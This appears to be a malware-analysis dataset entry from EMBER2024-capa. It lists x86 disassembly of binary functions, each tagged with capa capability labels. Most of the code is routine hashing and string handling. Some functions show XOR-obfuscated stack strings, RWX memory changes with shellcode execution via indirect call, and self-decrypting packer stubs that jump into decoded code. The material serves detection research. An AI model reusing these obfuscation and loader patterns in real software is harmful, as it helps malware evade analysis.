joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005aee0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1011c0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x1005b055
mov eax, dword [eax + 2]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1005b055
push ebx
lea ebx, [eax - 4]
test ebx, ebx
je 0x1005b054
mov eax, dword [ebx + 4]
test eax, eax
je 0x1005b054
cmp eax, 0xc8
jg 0x1005b054
cmp dword [ebx], 0
je 0x1005b054
push esi
mov esi, dword [ebx + 8]
test esi, esi
je 0x1005b053
push edi
mov edi, 0x811c9dc5
xor ecx, ecx
inc ecx
cmp byte [esi + ecx], 0
jne 0x1005af48
xor edx, edx
test ecx, ecx
je 0x1005af66
movsx eax, byte [esi + edx]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x1005af55
mov dword [ebp - 8], edi
cmp dword [ebx + 4], 0
mov dword [ebp - 0x18], 0
jle 0x1005b052
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebx]
add ebx, eax
mov esi, dword [ebx + 4]
test esi, esi
je 0x1005b039
mov edi, 0x811c9dc5
xor eax, eax
inc eax
cmp byte [esi + eax], 0
jne 0x1005af98
xor edx, edx
test eax, eax
je 0x1005afb6
movsx ecx, byte [esi + edx]
inc edx
xor ecx, edi
imul edi, ecx, 0x1000193
cmp edx, eax
jb 0x1005afa5
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edi
push eax
mov ecx, 0x101f5f38
call fcn.100cce60
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.100cce40
cmp dword [eax + 8], 0
jne 0x1005b033
lea eax, [ebp - 8]
mov ecx, 0x101f5f38
push eax
call fcn.100cce60
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.100cce40
mov ecx, 0x101f5f38
mov byte [eax], 1
lea eax, [ebp - 8]
mov esi, dword [ebx + 8]
push eax
call fcn.100cce60
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.100cce40
mov ecx, 0x101f5f38
mov dword [eax + 8], esi
lea eax, [ebp - 8]
push eax
call fcn.100cce60
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.100cce40
mov dword [eax + 4], 0
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
lea ebx, [ecx - 4]
inc esi
add eax, 0x3c
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], eax
cmp esi, dword [ebx + 4]
jl 0x1005af82
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100fdc5c
mov esp, ebp
pop ebp
ret 4
Function at 0x100cd1b0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
mov edx, ecx
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x14], edx
cmp ebx, eax
je 0x100cd321
mov eax, dword [edx + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 8], eax
movzx eax, byte [ebx + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [ebx + 9]
push esi
push edi
mov edi, dword [edx + 0xc]
mov esi, ebx
xor ecx, eax
mov dword [ebp - 0x1c], edi
movzx eax, byte [ebx + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebx + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [edx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [edi + eax*8]
mov dword [ebp - 4], ecx
lea eax, [edi + eax*8]
mov dword [ebp - 0xc], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
nop word [eax + eax]
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 0xc]
call fcn.100ce330
push 0x2c
push edi
call fcn.100fe0da
mov edx, dword [ebp - 0x14]
add esp, 8
dec dword [edx + 8]
cmp ebx, dword [ebp - 0x10]
je 0x100cd27d
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x100cd230
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jne 0x100cd317
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov dword [edi], esi
mov dword [ecx], esi
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov edi, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x100cd291
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov dword [edi], eax
jmp 0x100cd294
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
mov dword [edi + 4], ecx
cmp esi, eax
je 0x100cd317
nop
movzx eax, byte [esi + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 9]
xor ecx, eax
movzx eax, byte [esi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [edx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + eax*8]
mov dword [ebp - 4], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 0xc]
call fcn.100ce330
push 0x2c
push edi
call fcn.100fe0da
mov edx, dword [ebp - 0x14]
add esp, 8
mov eax, dword [ebp + 0xc]
dec dword [edx + 8]
cmp ebx, dword [ebp - 0x10]
je 0x100cd328
cmp esi, eax
jne 0x100cd2e7
mov ecx, dword [ebp - 4]
mov dword [ecx], esi
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp - 0x18]
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
cmp esi, eax
jne 0x100cd2a0
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100cd460
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10100f4d
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1011c0c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
xor edx, edx
mov edi, 0xf
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x28], dl
mov dword [ebp - 4], edx
mov esi, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], eax
cmp esi, eax
je 0x100cd56c
nop
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x100cd4e3
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x100cd4d1
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x28]
push eax
call fcn.100354d0
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
lea ecx, [edx - 3]
cmp ecx, edx
ja 0x100cd4fd
cmp edi, 0xf
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
mov byte [eax + ecx], 0
jmp 0x100cd50a
sub ecx, edx
push 0
push ecx
lea ecx, [ebp - 0x28]
call fcn.100428a0
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov edi, 0x811c9dc5
cmova eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
xor eax, eax
test edx, edx
je 0x100cd544
mov esi, dword [ebp - 0x34]
nop dword [eax]
movzx ecx, byte [eax + esi]
inc eax
xor ecx, edi
imul edi, ecx, 0x1000193
cmp eax, edx
jb 0x100cd530
mov esi, dword [ebp - 0x30]
cmp edi, dword [ebp + 8]
jne 0x100cd554
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x100cd567
dec eax
mov dword [ebp - 0x2c], eax
add esi, 0x1c
mov dword [ebp - 0x30], esi
cmp esi, dword [ebp - 0x38]
je 0x100cd56c
mov edi, dword [ebp - 0x14]
jmp 0x100cd4c0
mov esi, dword [esi + 0x18]
jmp 0x100cd56e
xor esi, esi
mov eax, dword [ebp - 0x14]
cmp eax, 0xf
jbe 0x100cd5a6
mov edx, dword [ebp - 0x28]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x100cd59c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100cd59c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100fe0da
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100fdc5c
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100cd5d0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10100f4d
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1011c0c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 1
xor edx, edx
mov edi, 0xf
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x28], dl
mov dword [ebp - 4], edx
mov esi, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], eax
cmp esi, eax
je 0x100cd6dc
nop
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x100cd653
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x100cd641
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x28]
push eax
call fcn.100354d0
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
lea ecx, [edx - 3]
cmp ecx, edx
ja 0x100cd66d
cmp edi, 0xf
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
mov byte [eax + ecx], 0
jmp 0x100cd67a
sub ecx, edx
push 0
push ecx
lea ecx, [ebp - 0x28]
call fcn.100428a0
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov edi, 0x811c9dc5
cmova eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
xor eax, eax
test edx, edx
je 0x100cd6b4
mov esi, dword [ebp - 0x34]
nop dword [eax]
movzx ecx, byte [eax + esi]
inc eax
xor ecx, edi
imul edi, ecx, 0x1000193
cmp eax, edx
jb 0x100cd6a0
mov esi, dword [ebp - 0x30]
cmp edi, dword [ebp + 8]
jne 0x100cd6c4
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x100cd6d7
dec eax
mov dword [ebp - 0x2c], eax
add esi, 0x1c
mov dword [ebp - 0x30], esi
cmp esi, dword [ebp - 0x38]
je 0x100cd6dc
mov edi, dword [ebp - 0x14]
jmp 0x100cd630
mov esi, dword [esi + 0x18]
jmp 0x100cd6de
xor esi, esi
mov eax, dword [ebp - 0x14]
cmp eax, 0xf
jbe 0x100cd716
mov edx, dword [ebp - 0x28]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x100cd70c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100cd70c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100fe0da
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100fdc5c
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100cf730
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100cf79e
push 0
push 0
push 0
push 0x1003dc40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100cf79e
push 0x10132a3c
push 0
push 0x181c
push 0x1011c120
call dword [sym.imp.GDI32.dll_AddFontMemResourceEx]
test eax, eax
je 0x100cf795
push 0
push 4
push 0x181c
push 0x1011c120
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x181c
push 0
push 0x1011c120
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, 1
pop ebp
ret 0xc
xor eax, eax
pop ebp
ret 0xc
Function at 0x100d9eb0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101085cb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x40
mov eax, dword [0x1011c0c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x101f6038]
mov dword [ebp - 0x38], ecx
test al, 1
jne 0x100da00e
or eax, 1
mov dword [0x101f6038], eax
mov dword [ebp - 4], 0
mov eax, 0x10
movaps xmm0, xmmword [0x10110ae0]
xorps xmm0, xmmword [0x101106e0]
mov dword [ebp - 0x24], 0x4e5e2d4e
mov dword [ebp - 0x20], 0x5f4e285e
mov dword [ebp - 0x1c], 0x58564e5f
mov byte [ebp - 0x18], 0x6e
movups xmmword [ebp - 0x34], xmm0
nop dword [eax + eax]
xor byte [ebp + eax - 0x34], 0x6e
inc eax
cmp eax, 0x1d
jb 0x100d9f40
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d9f66
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.10035b40
mov byte [ebp - 4], 1
mov edx, dword [0x101c3974]
test edx, edx
je 0x100d9f8f
mov edx, dword [edx + 0x50]
jmp 0x100d9f91
xor edx, edx
mov eax, dword [0x101c396c]
test eax, eax
je 0x100d9f9f
mov eax, dword [eax + 0x18]
jmp 0x100d9fa1
xor eax, eax
lea ecx, [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x14]
call fcn.10027d00
mov eax, dword [ebp - 0x14]
add esp, 8
test eax, eax
je 0x100d9fc8
mov ecx, dword [eax + 1]
test ecx, ecx
jne 0x100d9fc3
xor eax, eax
jmp 0x100d9fc8
add eax, 5
add eax, ecx
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x3c]
mov dword [0x101f603c], eax
cmp ecx, 0xf
jbe 0x100da007
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100d9ffd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100d9ffd
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100fe0da
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [0x101f603c], 0
je 0x100da02c
push 0
mov ecx, dword [ebp - 0x38]
movss xmm1, dword [ebx + 0xc]
movss xmm2, dword [ebx + 8]
call dword [0x101f603c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x100dbb00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1010860b
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x1011c0c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [0x101f61b8]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], edx
test al, 1
jne 0x100dbc5c
or eax, 1
mov dword [0x101f61b8], eax
mov dword [ebp - 4], 0
xor eax, eax
movaps xmm0, xmmword [0x101102a0]
movaps xmm2, xmmword [0x10110ae0]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x20], 0x4e2c564e
movaps xmm0, xmmword [0x101106a0]
movups xmmword [ebp - 0x30], xmm0
mov word [ebp - 0x1c], 0x2a5e
mov byte [ebp - 0x1a], 0x6e
nop dword [eax]
movups xmm0, xmmword [ebp + eax - 0x40]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [ebp + eax - 0x40], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x100dbb80
cmp eax, 0x27
jae 0x100dbbab
nop dword [eax]
xor byte [ebp + eax - 0x40], 0x6e
inc eax
cmp eax, 0x27
jb 0x100dbba0
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100dbbc6
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.10035b40
mov byte [ebp - 4], 1
mov edx, dword [0x101c3974]
test edx, edx
je 0x100dbbef
mov edx, dword [edx + 0x50]
jmp 0x100dbbf1
xor edx, edx
mov eax, dword [0x101c396c]
test eax, eax
je 0x100dbbff
mov eax, dword [eax + 0x18]
jmp 0x100dbc01
xor eax, eax
lea ecx, [ebp - 0x58]
push ecx
push eax
call fcn.100db3c0
mov byte [ebp - 4], 0
add esp, 8
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x100dbc48
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100dbc3e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100dbc3e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100fe0da
add esp, 8
push 0x1010acf0
call fcn.100fe0c5
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [0x101f61b4]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x100ea470
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10108e0d
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x1011c0c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x101c3a24]
mov edi, dword [esi + 0x174]
test edi, edi
setg byte [ebp - 0x14]
cmp dword [0x1011dd00], 4
jne 0x100ea4d9
mov edx, dword [esi + 0x4cb0]
add edx, dword [esi + 0x4cac]
mov ecx, dword [0x101c39c8]
push edx
push dword [esi + 0x4cb4]
mov eax, dword [ecx]
push dword [ebp - 0x14]
push edi
mov eax, dword [eax + 0xc]
call eax
cmp byte [0x101f6054], 0
jne 0x100ea60f
movaps xmm0, xmmword [0x10110800]
xor eax, eax
movaps xmm2, xmmword [0x10110ae0]
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x1c], 0x2d28
movaps xmm0, xmmword [0x101104b0]
movups xmmword [ebp - 0x2c], xmm0
mov byte [ebp - 0x1a], 0x6e
nop
movups xmm0, xmmword [ebp + eax - 0x3c]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [ebp + eax - 0x3c], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x100ea510
cmp eax, 0x23
jae 0x100ea53b
nop dword [eax]
xor byte [ebp + eax - 0x3c], 0x6e
inc eax
cmp eax, 0x23
jb 0x100ea530
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100ea556
sub ecx, edx
lea eax, [ebp - 0x3c]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.10035b40
mov dword [ebp - 4], 0
mov edx, dword [0x101c3980]
test edx, edx
je 0x100ea582
mov edx, dword [edx + 0x50]
jmp 0x100ea584
xor edx, edx
mov eax, dword [0x101c3978]
test eax, eax
je 0x100ea592
mov eax, dword [eax + 0x18]
jmp 0x100ea594
xor eax, eax
lea ecx, [ebp - 0x54]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.1005a470
mov edi, dword [ebp - 0x18]
add esp, 8
mov ecx, dword [ebp - 0x40]
inc edi
cmp ecx, 0xf
jbe 0x100ea5de
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ea5d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100ea5d4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100fe0da
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
mov dword [ebp - 0x14], 0
call esi
lea eax, [ebp - 0x14]
mov dword [edi], 0x3e
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov byte [0x101f6054], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100fdc5c
mov esp, ebp
pop ebp
ret
Function at 0x100ed710
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movss dword [ebp - 4], xmm1
xor eax, eax
mov dword [ebp - 0x20], 0xa000f3c
mov dword [ebp - 0x1c], 0x2280301
mov dword [ebp - 0x18], 0x6e1a0f01
xor byte [ebp + eax - 0x20], 0x6e
inc eax
cmp eax, 0xc
jb 0x100ed732
mov dword [ebp - 0x14], 0xa1a1d18
xor eax, eax
mov dword [ebp - 0x10], 0x400c0702
mov dword [ebp - 0xc], 0x6e02020a
xor byte [ebp + eax - 0x14], 0x6e
inc eax
cmp eax, 0xc
jb 0x100ed754
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
movss xmm0, dword [ebp - 4]
sub esp, 8
mov dword [ebp - 8], eax
movss dword [esp + 4], xmm0
mov dword [esp], 0
call dword [ebp - 8]
fstp dword [ebp - 8]
movss xmm0, dword [ebp - 8]
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x100eda00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x100eda5d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x100eda20
mov eax, dword [esi]
jmp 0x100edb3b
cmp eax, 0x4e0
jb 0x100edb3b
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x100eda76
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x100edac1
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x422a7d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x422a8c
pop dword [ebp - 0x50]
mov eax, 0x422a8c
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3e8cb
push 0
mov eax, 0x5d79ce15
sub eax, 0x5d377bfd
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x4b24
mov esi, eax
mov edx, 0x303f540f
add edx, 0xd003fff1
add edx, dword [ebp - 0x50]
mov edi, 0x81072053
add edi, 0xbede55d6
mov ebx, dword [edx]
sub dword [ebp - 0x24], edi
sub ebx, edi
xor dword [ebp - 0x4c], eax
mov dword [esi], ebx
sub dword [ebp - 0x24], edx
add esi, 0xd0da2f62
sub esi, 0xd0da2f5e
add edx, 0xed4caf01
add edx, 0x12b35103
loop 0x422ae0
add eax, 0xd7ee4014
add eax, 0x2812df4f
xor ebx, ebx
add ebx, eax
add eax, 0xdb7eca2c
sub eax, 0xdb7eca27
mov ecx, 0x47b59b71
add ecx, 0xb88a648f
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401c66
pop dword [ebp - 0x24]
mov eax, 0x401c66
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x41816e9a
sub dword [ebp - 0x34], 0xf32f294f
mov dword [ebp - 0x30], 0xf07257e8
sub dword [ebp - 0x30], 0xbe3f0ba3
mov dword [ebp - 0x2c], 0x41c6f98a
add dword [ebp - 0x2c], 0xa854aa4
mov dword [ebp - 0x28], 0x7713209c
sub dword [ebp - 0x28], 0x7713209c
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x95ada451
sub dword [ebp - 0x34], 0x213b3afb
mov dword [ebp - 0x30], 0x3311f470
sub dword [ebp - 0x30], 0xf1a592fb
mov dword [ebp - 0x2c], 0x1e843937
add dword [ebp - 0x2c], 0x44eb3335
mov dword [ebp - 0x28], 0x8edde9d6
sub dword [ebp - 0x28], 0x8edde9d6
